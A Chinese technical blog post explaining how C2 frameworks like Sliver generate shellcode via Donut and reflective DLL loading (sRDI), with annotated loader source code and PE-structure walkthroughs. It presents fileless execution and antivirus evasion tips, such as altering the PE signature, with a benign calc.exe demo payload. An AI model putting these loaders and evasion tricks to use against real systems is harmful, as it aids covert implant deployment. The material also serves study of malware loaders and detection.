Skip to content

模仿cs开局一个shellcode的实现

字数
6045 字
阅读时间
28 分钟
更新日期
4/12/2021

关键词:

  • C2生成shellcode
  • Donut生成shellcode
  • Dll反射生成shellcode
  • Sliver
  • PE结构
  • sRDI代码阅读与优化

cobalt strike开局我们一般会生成一段shellcode,在通过其他手段在目标机器上加载执行,这样的好处是整个过程(除了加载器外)无文件,所有执行都是在内存中进行,并且也好进行分离免杀。

cobalt strike shellcode的执行流程是 会先从team server服务器上下载beacon.dll,然后反射dll执行。

之前也有写过一个简单的任意pe文件转换shellcode在线生成工具:https://i.hacking8.com/exe2shellcode/

最近在看一些go语言写的c2,它们也有生成shellcode的选项,所以就来学习一下这个”开局”一个shellcode的操作是如何实现的,如果是自己写c2也可以模仿一下。

Sliver

Sliver是一个开源的,跨平台的c2平台,支持mTLS、WireGuard、HTTP(S)、DNS等多个C2植入手段,支持生成MacOS、Windows、Linux等多个平台的”木马”

下载源代码,找寻一番后,发现生成shellcode的函数在server/generate/binaries.goSliverShellcode函数

image-20210409150301023

看注释说生成shellcode使用的sRDI,sRDI是什么后面再说,细细一翻代码发现了不对。。

image-20210409150619461

它将原来生成srdi的函数注释了,用Donut生成了shellcode,编译木马的go程序编译选项也改为了buildmode=pie

Donut shellcode 是啥

sliver中使用的是这个库https://github.com/Binject/go-donut生成shellcode,这个库是https://github.com/TheWover/donut的Go实现

donut可以生成x86、x64可内存执行VBScript,JScript,EXE,DLL shellcode的工具。

它内部会自动对代码段进行压缩和128位对称加密,.net可以直接加载,普通的exe需要有重定位信息才行

image-20210409163120606

做个实验测试一下,编写一个go程序main.go

go
package main

import "os/exec"

func main(){
    _ = exec.Command("calc").Run()
}

编译

go build -builemode=exe -o exe.exe main.go
go build -buildmode=pie -o pie.exe main.go

用donut载入pie.exe 生成shellcode

image-20210409163819643

shellcode loader加载一下

image-20210409164107061

成功

但是用go直接生成的exe.exe转换不了shellcode

image-20210409164229686

提示没有重定位信息。

为什么需要重定位表?

没有仔细看源码,我猜的 - =

donut将exe加载到内存中展开,如果有重定位表,就可以加载PE文件到任意位置,然后根据重定位表来修复那些绝对地址的位置就行了。

如果没有重定位表,内存中的PE文件展开可能会跟shellcode loader文件冲突,如果放到内存中任意位置,可能因为绝对地址的问题造成失败。

历史文件信息

sliver注释了ShellcodeRDI,反射dll(rdi)生成shellcode的方式,为啥?

看文件的历史记录信息,发现它是在用rdi生成shellcode还是donut生成shellcode的方式上转来转去 - =

image-20210409164742378

  • 2020/5/16 编写了使用rdi方式生成shellcode的方式
  • 2020/8/13 改用了Donut生成
  • 2020/10/5 又把rdi的方式换了回去
  • 2020/10/21 又换成了Donut生成
  • 2020/11/15 又换成rdi方式
  • 2021/3/8 叒换成了Donut生成shellcode的方式,下面注释了一行rdi的方式

可能它们也在这两种方式上犹豫不定 - = ?

所以再来看看反射dll生成shellcode方式是怎样的。

反射Dll生成shellcode(sRDI)

原理

反射dll原先是作为注入技术来使用的,它可以在内存中加载执行dll,来逃脱杀软对磁盘文件的监控。后来经过改造将它变成了shellcode的方式,可以将任意dll变成可以反射的shellcode,用来加载我们自己rat等程序。

生成sRDI shellcode

sliver生成反射dll shellcode的代码在server/generate/srdi.go ShellcodeRDI函数。它里面的go代码就是 https://github.com/monoxgas/sRDI 这个项目的实现。

sliver已经将它封装好了,只需要传入dll路径,函数名称就能够生成shellcode

go生成dll

以下代码都是从silver拿出来的。

main.h

c
#include <windows.h>

void RunSliver();

BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL, // handle to DLL module
    DWORD _fdwReason,    // reason for calling function
    LPVOID _lpReserved   // reserved
);

main.go

go
package main

/*
    Sliver Implant Framework
    Copyright (C) 2019  Bishop Fox

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.
*/

//#include "main.h"
import "C"
import (
    "os/exec"
)

var isRunning bool = false

// RunSliver - Export for shared lib build
//export RunSliver
func RunSliver() {
    if !isRunning {
        isRunning = true
        main()
    }
}

// Thanks Ne0nd0g for those
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65

// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
//export DllInstall
func DllInstall() { main() }

func main() {
    _ = exec.Command("calc.exe").Run()
}

公开了很多接口,方便可以用regsvr32等程序调用,并且有互斥变量防止函数被重复调用。

编译成dll

go build -ldflags "-s -w" -buildmode=c-shared -o export.dll main.go

go调用sRDI 生成shellcode

复制sliver 下 server/generate/srdi.go server/generate/srdi-shellcode.go 到同一个目录,然后新建一个go文件generate.go

go
package main

import (
    "fmt"
    "io/ioutil"
    "os"
)

func main() {
    filename := "export.dll"
    functionName := "RunSliver"
    filepath := "shellcode.bin"

    data, err := ShellcodeRDI(filename, functionName, "")
    if err != nil {
        panic(err)
    }
    fmt.Println(len(data))
    _ = os.Remove(filepath)
    err = ioutil.WriteFile(filepath, data, 0644)
    if err != nil {
        panic(err)
    }
}

执行后就能生成shellcode了

sRDI代码阅读

做个记录,sRDI的一些加载步骤。

从PEB获取 LoadLibraryA、GetProcAddress

一般的思路是遍历PEB-ldr,得到dll列表,遍历每个dll,获取dll的导出函数,实际上只需要遍历kernal32.dll,获取LoadLibraryAGetProcAddress两个函数就可以根据它们来加载任意dll。

结合windbg来看PEB数据结构

dt nt!_peb

image-20210412170106682

0x18 Ldr地址上保存了所有dll信息,查看peb_ldr数据

dt nt!_peb_ldr_data

image-20210412170301416

InLoadOrderModuleListInMemoryOrderModuleListInInitializationOrderModuleList 三个位置都保存了dll列表。

分别是按照顺序、内存、初始化顺序加载。它们都是list_entry结构,查看这个结构

dt nt!_list_entry

image-20210412170501024

是一个双链表结构,链表指向的数据结构

c
dt nt!_ldr_data_table_entry

image-20210412171719819

DllBase是dll的基址,BaseDllName是dll的名称。

如果BaseDllName判断成功,解析DllBase的PE结构获取导出表,得到导出函数的地址,调用即可。

动态初始化函数

由LoadLibraryA、GetProcAddress,就可以来加载更多API了。

c
///
// STEP 1: locate all the required functions
///

pLdrLoadDll = (LDRLOADDLL)GetProcAddressWithHash(LDRLOADDLL_HASH);
pLdrGetProcAddress = (LDRGETPROCADDRESS)GetProcAddressWithHash(LDRGETPROCADDRESS_HASH);

uString.Buffer = sKernel32;
uString.MaximumLength = sizeof(sKernel32);
uString.Length = sizeof(sKernel32);

//pMessageBoxA = (MESSAGEBOXA)GetProcAddressWithHash(MESSAGEBOXA_HASH);

pLdrLoadDll(NULL, 0, &uString, &library);

FILL_STRING_WITH_BUF(aString, sVirtualAlloc);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pVirtualAlloc);

FILL_STRING_WITH_BUF(aString, sVirtualProtect);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pVirtualProtect);

FILL_STRING_WITH_BUF(aString, sFlushInstructionCache);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pFlushInstructionCache);

FILL_STRING_WITH_BUF(aString, sGetNativeSystemInfo);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pGetNativeSystemInfo);

FILL_STRING_WITH_BUF(aString, sSleep);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pSleep);

FILL_STRING_WITH_BUF(aString, sRtlAddFunctionTable);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pRtlAddFunctionTable);

FILL_STRING_WITH_BUF(aString, sLoadLibrary);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pLoadLibraryA);

仔细看可以发现,srdi获取的是ntdll中的LDRLOADDLLLDRGETPROCADDRESS中的地址,通过它们来加载更多函数。

展开内存中的dll

此时的基地址就是dll在内存中的地址(dllData),想要反射执行dll,需要分析dll的PE结构手动展开到内存中。

获取PE header地址

第一步获取 PE header结构的地址,就是通过dll的地址加上Dos Header的一个偏移地址。

c
ntHeaders = (PIMAGE_NT_HEADERS)(dllData+((PIMAGE_DOS_HEADER)dllData)->e_lfanew);

PIMAGE_DOS_HEADER的结构对于我们来说基本没用,所以可以将dll的这部分减掉,同时PE头会有Signature字段特征,制作dll的时候可以有意识的将它换成别的来绕过杀毒。

> Signature;固定为 0x00004550 根据小端存储为:PE..

PS 复习下PE header的结构 (64位下)

c
typedef struct _IMAGE_NT_HEADERS64 {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;               // 运行平台 32位(0x10b) 64位(0x20b) ROM(0x107)
    WORD    NumberOfSections;      // 文件的section数目
    DWORD   TimeDateStamp;         // 文件创建日期和时间
    DWORD   PointerToSymbolTable;  // 指向符号表(主要用于调试)
    DWORD   NumberOfSymbols;       // 符号表中符号个数(同上)
    WORD    SizeOfOptionalHeader;  // IMAGE_OPTIONAL_HEADER 结构大小
    WORD    Characteristics;       // 文件属性
} IMAGE_FILE_HEADER,

typedef struct _IMAGE_OPTIONAL_HEADER64 {
    WORD        Magic;
    BYTE        MajorLinkerVersion;
    BYTE        MinorLinkerVersion;
    DWORD       SizeOfCode;                    // 代码段的大小
    DWORD       SizeOfInitializedData;
    DWORD       SizeOfUninitializedData;
    DWORD       AddressOfEntryPoint;           // 程序执行入口RVA
    DWORD       BaseOfCode;
    ULONGLONG   ImageBase;                     // 文件载入内存加载到的地址
    DWORD       SectionAlignment;              // 载入内存的section 对齐大小
    DWORD       FileAlignment;                 // 磁盘上PE文件section 对齐大小
    WORD        MajorOperatingSystemVersion;
    WORD        MinorOperatingSystemVersion;
    WORD        MajorImageVersion;
    WORD        MinorImageVersion;
    WORD        MajorSubsystemVersion;
    WORD        MinorSubsystemVersion;
    DWORD       Win32VersionValue;
    DWORD       SizeOfImage;                   // Image大小,内存中整个PE文件的映射的尺寸,可比实际的值大,必须是SectionAlignment的整数倍
    DWORD       SizeOfHeaders;                 // 所有头节表按照文件对齐后的大小 e_lfanew+sizeof(signature)+sizeof(_IMAGE_FILE_HEADER)+sizeof(_IMAGE_OPTIONAL_HEADER)+sizeof(_IMAGE_SECTION_HEADER)
    DWORD       CheckSum;                      // 校验和
    WORD        Subsystem;                     // 标识可执行文件所期望的子系统
    WORD        DllCharacteristics;
    ULONGLONG   SizeOfStackReserve;
    ULONGLONG   SizeOfStackCommit;
    ULONGLONG   SizeOfHeapReserve;
    ULONGLONG   SizeOfHeapCommit;
    DWORD       LoaderFlags;
    DWORD       NumberOfRvaAndSizes;          // 其余部分中的目录条目数。每个条目都描述了一个位置和大小
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; //数据目录
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;

// 数据目录表
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

PS: 数据目录表的结构非常简单,就只有起始位置和长度大小这两个参数组成,由此可以知道这个表的开始位置和结束位置,虽然在结构体中没有指明哪一部分是什么类型的表,但是在目录表中的其他表,如导入表导出表;是有一定的顺序的,类似数组排列,排列方式以及各个表的作用与含义如下:

c
// Directory Entries
// 按顺序排列的数据目录表

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory  导出表:动态链接库导出的函数会显示在这里
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory  导入表:写程序时调用的动态链接库会显示在这里
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory  资源表:图片,图标,字符串,嵌入的程序都在这里
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory  异常目录表:保存文件中异常处理相关的数据
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory  安全目录:存放数字签名和安全证书之类的东西
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table    基础重定位表:保存需要执行重定位的代码偏移
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory  调试表
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data  缓存信息表:有一些保留字段必须是0
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP  全局指针偏移目录
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory  线程局部存储(暂时未知)
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory  载入配置
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers 存储一些API的绑定输入信息
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table 导入地址表:导入函数的地址
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor com运行时的目录

Section

DataDirectory数据目录后面就是Section(节)头信息了。

c
//
// Section header format.
//

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];    // 名称
    union {
            DWORD   PhysicalAddress;          // 物理地址
            DWORD   VirtualSize;              // 实际使用的大小
    } Misc;
    DWORD   VirtualAddress;                   // 装载到内存中的地址虚拟地址
    DWORD   SizeOfRawData;                    // 该块在磁盘中所占的空间
    DWORD   PointerToRawData;                 // 该块在磁盘文件中的偏移
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;                  // 块属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

初始化dll内存空间

获取到了PE 结构后,可以根据IMAGE_OPTIONAL_HEADER64->SizeOfImage的大小初始化内存空间。

这个空间也要和系统的页大小(dwPageSize)对齐

c++
alignedImageSize = (DWORD)AlignValueUp(ntHeaders->OptionalHeader.SizeOfImage, sysInfo.dwPageSize);

接着分配空间,先尝试分配在pe头指定的基址(ntHeaders->OptionalHeader.ImageBase)上,如果失败再分到别处

c++
baseAddress = (ULONG_PTR)pVirtualAlloc(
        (LPVOID)(ntHeaders->OptionalHeader.ImageBase),
        alignedImageSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
);

if (baseAddress == 0) {
    baseAddress = (ULONG_PTR)pVirtualAlloc(
        NULL,
        alignedImageSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
    );
}

接着原样复制PE头的数据到baseAddress

对我们有用的数据只有PE头,DOS头就不用复制了

c
for (i = 0; i < ntHeaders->OptionalHeader.SizeOfHeaders; i++) {
    ((PBYTE)baseAddress)[i] = ((PBYTE)dllData)[i];
}

加载Section

c++
///
// STEP 3: Load in the sections
///

sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
// 获取section头位置

for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
    // 遍历每个section
    for (c = 0; c < sectionHeader->SizeOfRawData; c++) {
        ((PBYTE)(baseAddress + sectionHeader->VirtualAddress))[c] = ((PBYTE)(dllData + sectionHeader->PointerToRawData))[c];
        // 新的section内存从原dll中sectionHeader->PointerToRawData(在硬盘的偏移)一一复制
    }
}

加载重定向表

重定位表的作用就是:当实际加载到内存中的Imagebase与本该加载时候的Imagebase地址不同的时候 就需要进行修复重定位表

其实重定位表中存的是需要修改的函数的地址偏移

重定向表的数据结构

c
typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;   // 表的起始位置(RVA)
    DWORD   SizeOfBlock;      // 重定位块的总大小,需要注意的是这里的size不是1个2个的意思,是整个重定向表在内存中的数据长度大小
//  WORD    TypeOffset[1];
} IMAGE_BASE_RELOCATION;

重定向表会有多个这样的结构,可以看到重定向表中有个注释的TypeOffset,这是重定向块,也可以看作是重定向表中结构的一部分。

重定向块的结构

c
typedef struct
{
    WORD    offset : 12;
    WORD    type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;

作用是一些偏移地址,重定向块是word类型,它也是数组

因为1word=2byte=16bit

实际上数据项只有**后12位是用来表示偏移 (IMAGE_RELOC- >offset)**的,高4位留作它用(IMAGE_RELOC- >type)

比如:对于一个数据项为:0011 0110 0001 0000 共16位(2字节)

其偏移的数值为:0110 0001 0000 = 0x610

如何进行修复

重定位表的作用就是:当实际加载到内存中的Imagebase与本该加载时候的Imagebase地址不同的时候 就需要进行修复重定位表

其实重定位表中存的是需要修改的函数的地址偏移

所以重定位表中所表示的地址(IMAGE_BASE_RELOCATION->VirtualAddress+IMAGE_RELOC->offset)原来是一个写死的值(相对于原基址ntHeaders->OptionalHeader.ImageBase)。

我们的修复就是将这个地址上的值减去原来的基址,加上我们新的基址即可。然后根据电脑的大小端类型分别存储即可。

处理代码

c
baseOffset = baseAddress - ntHeaders->OptionalHeader.ImageBase;
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

if (baseOffset && dataDir->Size) {

    relocation = RVA(PIMAGE_BASE_RELOCATION, baseAddress, dataDir->VirtualAddress);

    while (relocation->VirtualAddress) {
        relocList = (PIMAGE_RELOC)(relocation + 1);

        while ((PBYTE)relocList != (PBYTE)relocation + relocation->SizeOfBlock) {

            if (relocList->type == IMAGE_REL_BASED_DIR64)
                *(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += baseOffset;
            else if (relocList->type == IMAGE_REL_BASED_HIGHLOW)
                *(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += (DWORD)baseOffset;
            else if (relocList->type == IMAGE_REL_BASED_HIGH)
                *(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += HIWORD(baseOffset);
            else if (relocList->type == IMAGE_REL_BASED_LOW)
                *(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += LOWORD(baseOffset);

            relocList++;
        }
        relocation = (PIMAGE_BASE_RELOCATION)relocList;
    }
}

加载导入表

导入表的数据结构

c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;            // 标志 为0表示结束 没有导入描述符了
        DWORD   OriginalFirstThunk;         // RVA地址,指向IMAGE_THUNK_DATA结构数组,指向的地址列表被定义为:INT(Import Name Table) 导入名称表
    };
    DWORD   TimeDateStamp;                  // 时间戳,一般不用,大多情况下都为0。如果该导入表项被绑定,那么绑定后的这个时间戳就被设置为对应DLL文件的时间戳。操作系统在加载时,可以通过这个时间戳来判断绑定的信息是否过时
    DWORD   ForwarderChain;                 // 链表的前一个结构
    DWORD   Name;                           // RVA,指向DLL名字,该名字以''\0''结尾
    DWORD   FirstThunk;                     // RVA地址,指向IMAGE_THUNK_DATA结构数组,与OriginalFirstThunk相同,它指向的链表定义了针对Name这个动态链接库引入的所有导入函数,所指向的地址列表被定义为:IAT(Import Adress Table) 导入地址表
} IMAGE_IMPORT_DESCRIPTOR;

看到originalFirstThunkFirstThunk都指向了一个数据结构IMAGE_THUNK_DATA

c
typedef struct _IMAGE_THUNK_DATA64 {
    union {
        ULONGLONG ForwarderString;  // PBYTE 
        ULONGLONG Function;         // PDWORD
        ULONGLONG Ordinal;
        ULONGLONG AddressOfData;    // PIMAGE_IMPORT_BY_NAME
    } u1;
} IMAGE_THUNK_DATA64;

这个数据结构就是一个ULONGLONG类型,在32位下是dword类型,但在不同的时刻却拥有不同的解释

IMAGE_THUNK_DATA有两种解释

  • DWORD最高位为0,那么该数值是一个RVA,指向_IMAGE_IMPORT_BY_NAME结构,表明函数是以字符串类型的函数名导入

    • _IMAGE_IMPORT_BY_NAME结构:

      c
      typedef struct _IMAGE_IMPORT_BY_NAME {
          WORD    Hint;
          BYTE    Name[1];
      } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
      • 该结构即为:”编号—名称”(Hint/Name)描述部分

        • Hint:导出函数地址表的索引编号 ,可能为空且不一定准确 ,由编译器决定,一般不使用该值
        • Name:这个是一个以”\0”结尾的字符串,表示函数名
  • DWORD最高位为1,那么该数值的低31位就是函数的导出函数的序号

为什么两个参数描述同一个数据结构IMAGE_THUNK_DATA呢,这涉及到一个PE文件加载前后的对比

PE加载前后对比

  • 在PE文件加载前:OriginalFirstThunk指向的INT和FirstThunk指向的IAT的数据值是相同 的,但是其存储位置是不同的
  • 在PE文件加载后:OriginalFirstThunk指向的INT不变 ,但FirstThunk指向的IAT的数据值变为了函数相应的RVA地址

PS:函数相应的RVA地址是根据IAT中的函数名称或者导出表中的序号获得的

所以加载导入表的过程,就是模拟PE加载器,根据导入表,依次加载对应dll,获取导出函数,并将函数虚拟地址(rva)放到FirstThunk

加载函数根据定义,使用pLdrGetProcAddress按照序号或者名称加载

c
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// 从数据目录获取导入表结构
randSeed = (DWORD)((ULONGLONG)dllData);

if (dataDir->Size) {
    importDesc = RVA(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);
    for (; importDesc->Name; importDesc++) {

        library = pLoadLibraryA((LPSTR)(baseAddress + importDesc->Name));

        firstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, importDesc->FirstThunk);
        origFirstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, importDesc->OriginalFirstThunk);

        for (; origFirstThunk->u1.Function; firstThunk++, origFirstThunk++) {

            if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) {
                pLdrGetProcAddress(library, NULL, (WORD)origFirstThunk->u1.Ordinal, (PVOID *)&(firstThunk->u1.Function));
            }
            else {
                importByName = RVA(PIMAGE_IMPORT_BY_NAME, baseAddress, origFirstThunk->u1.AddressOfData);
                FILL_STRING(aString, importByName->Name);
                pLdrGetProcAddress(library, &aString, 0, (PVOID*)&(firstThunk->u1.Function));
            }
        }
    }
}

加载延迟导入表

延迟加载导入表和导入表示相互分离的,延迟加载导入表是特殊的导入表,和导入表不同的是,延迟加载导入表所记录的dll不会被操作系统加载,只有在函数被应用程序调用的时候,PE中注册的延迟加载函数才会根据延迟加载导入表的记录,动态加载dll,以及修正导入函数的VA。

延迟加载由于没有在程序初始化的时候初始化dll,只是会在应用程序调用某个模块的时候加载该模块,所以使用延迟加载技术的程序拥有更高的初始化速度。

表结构

c
typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR {
    union {
        DWORD AllAttributes;
        struct {
            DWORD RvaBased : 1;             // Delay load version 2
            DWORD ReservedAttributes : 31;
        } DUMMYSTRUCTNAME;
    } Attributes;

    DWORD DllNameRVA;                       // RVA to the name of the target library (NULL-terminate ASCII string)
    DWORD ModuleHandleRVA;                  // RVA to the HMODULE caching location (PHMODULE)
    DWORD ImportAddressTableRVA;            // RVA to the start of the IAT (PIMAGE_THUNK_DATA)
    DWORD ImportNameTableRVA;               // RVA to the start of the name table (PIMAGE_THUNK_DATA::AddressOfData)
    DWORD BoundImportAddressTableRVA;       // RVA to an optional bound IAT
    DWORD UnloadInformationTableRVA;        // RVA to an optional unload info table
    DWORD TimeDateStamp;                    // 0 if not bound,
                                            // Otherwise, date/time of the target DLL

} IMAGE_DELAYLOAD_DESCRIPTOR, *PIMAGE_DELAYLOAD_DESCRIPTOR;

直接按照加载导入表的方式加载即可

c
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];

if (dataDir->Size) {
    delayDesc = RVA(PIMAGE_DELAYLOAD_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);

    for (; delayDesc->DllNameRVA; delayDesc++) {

        library = pLoadLibraryA((LPSTR)(baseAddress + delayDesc->DllNameRVA));

        firstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, delayDesc->ImportAddressTableRVA);
        origFirstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, delayDesc->ImportNameTableRVA);

        for (; firstThunk->u1.Function; firstThunk++, origFirstThunk++) {
            if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) {
                pLdrGetProcAddress(library, NULL, (WORD)origFirstThunk->u1.Ordinal, (PVOID *)&(firstThunk->u1.Function));
            }
            else {
                importByName = RVA(PIMAGE_IMPORT_BY_NAME, baseAddress, origFirstThunk->u1.AddressOfData);
                FILL_STRING(aString, importByName->Name);
                pLdrGetProcAddress(library, &aString, 0, (PVOID *)&(firstThunk->u1.Function));
            }
        }
    }
}

分配段的内存属性

c
sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);

for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {

    if (sectionHeader->SizeOfRawData) {

        // determine protection flags based on characteristics
        executable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
        readable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
        writeable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;

        if (!executable && !readable && !writeable)
            protect = PAGE_NOACCESS;
        else if (!executable && !readable && writeable)
            protect = PAGE_WRITECOPY;
        else if (!executable && readable && !writeable)
            protect = PAGE_READONLY;
        else if (!executable && readable && writeable)
            protect = PAGE_READWRITE;
        else if (executable && !readable && !writeable)
            protect = PAGE_EXECUTE;
        else if (executable && !readable && writeable)
            protect = PAGE_EXECUTE_WRITECOPY;
        else if (executable && readable && !writeable)
            protect = PAGE_EXECUTE_READ;
        else if (executable && readable && writeable)
            protect = PAGE_EXECUTE_READWRITE;

        if (sectionHeader->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
            protect |= PAGE_NOCACHE;
        }

        // change memory access flags
        pVirtualProtect(
            (LPVOID)(baseAddress + sectionHeader->VirtualAddress),
            sectionHeader->SizeOfRawData,
            protect, &protect
        );
    }

}

执行 TLS 回调

TLS即Thread Local Storage,线程局部存储。执行TLS 回调函数可以理解为编程语言中的析构函数。

c
typedef struct _IMAGE_TLS_DIRECTORY64 {
    ULONGLONG StartAddressOfRawData;
    ULONGLONG EndAddressOfRawData;
    ULONGLONG AddressOfIndex;         // PDWORD
    ULONGLONG AddressOfCallBacks;     // PIMAGE_TLS_CALLBACK *;
    DWORD SizeOfZeroFill;
    union {
        DWORD Characteristics;
        struct {
            DWORD Reserved0 : 20;
            DWORD Alignment : 4;
            DWORD Reserved1 : 8;
        } DUMMYSTRUCTNAME;
    } DUMMYUNIONNAME;

} IMAGE_TLS_DIRECTORY64;

回调函数的定义

c
//
// Thread Local Storage
//

typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
    PVOID DllHandle,
    DWORD Reason,
    PVOID Reserved
);

执行tls callback代码

c
///
// STEP 8: Execute TLS callbacks
///

dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];

if (dataDir->Size)
{
    tlsDir = RVA(PIMAGE_TLS_DIRECTORY, baseAddress, dataDir->VirtualAddress);
    callback = (PIMAGE_TLS_CALLBACK *)(tlsDir->AddressOfCallBacks);

    for (; *callback; callback++) {
        (*callback)((LPVOID)baseAddress, DLL_PROCESS_ATTACH, NULL);
    }
}

注册异常处理(仅在64位)

x86系统采用动态的方式构建SEH结构,相比而言x64系统下采用静态的方式处理SEH结构,它保存在PE文件中,通常在.pdata区段。数据目录项的第三个。

结构

c
typedef struct_IMAGE_IA64_RUNTIME_FUNCTION_ENTRY {

   DWORD BeginAddress;   //与SEH相关代码的起始偏移地址

   DWORD EndAddress;      //与SEH相关代码的末尾偏移地址

   DWORD UnwindInfoAddress;//指向描述上面两个字段之间代码异常信息的UNWIND_INFO

} IMAGE_IA64_RUNTIME_FUNCTION_ENTRY,*PIMAGE_IA64_RUNTIME_FUNCTION_ENTRY;

代码

c
#ifdef _WIN64
    dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];

    if (pRtlAddFunctionTable && dataDir->Size)
    {
        rfEntry = RVA(PIMAGE_RUNTIME_FUNCTION_ENTRY, baseAddress, dataDir->VirtualAddress);
        pRtlAddFunctionTable(rfEntry, (dataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1, baseAddress);
    }
#endif

使用RtlAddFunctionTable设置异常处理(SEH)

调用dllMain

c
///
// STEP 10: call our images entry point
///

dllMain = RVA(DLLMAIN, baseAddress, ntHeaders->OptionalHeader.AddressOfEntryPoint);
dllMain((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, (LPVOID)1);

使用DLL_PROCESS_ATTACH为参数,调用DLL入口点。

调用指定函数

遍历导出表,计算funchash并匹配

c
///
// STEP 11: call our exported function
///

if (dwFunctionHash) {

    do
    {
        dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
        if (!dataDir->Size)
            break;

        exportDir = (PIMAGE_EXPORT_DIRECTORY)(baseAddress + dataDir->VirtualAddress);
        if (!exportDir->NumberOfNames || !exportDir->NumberOfFunctions)
            break;

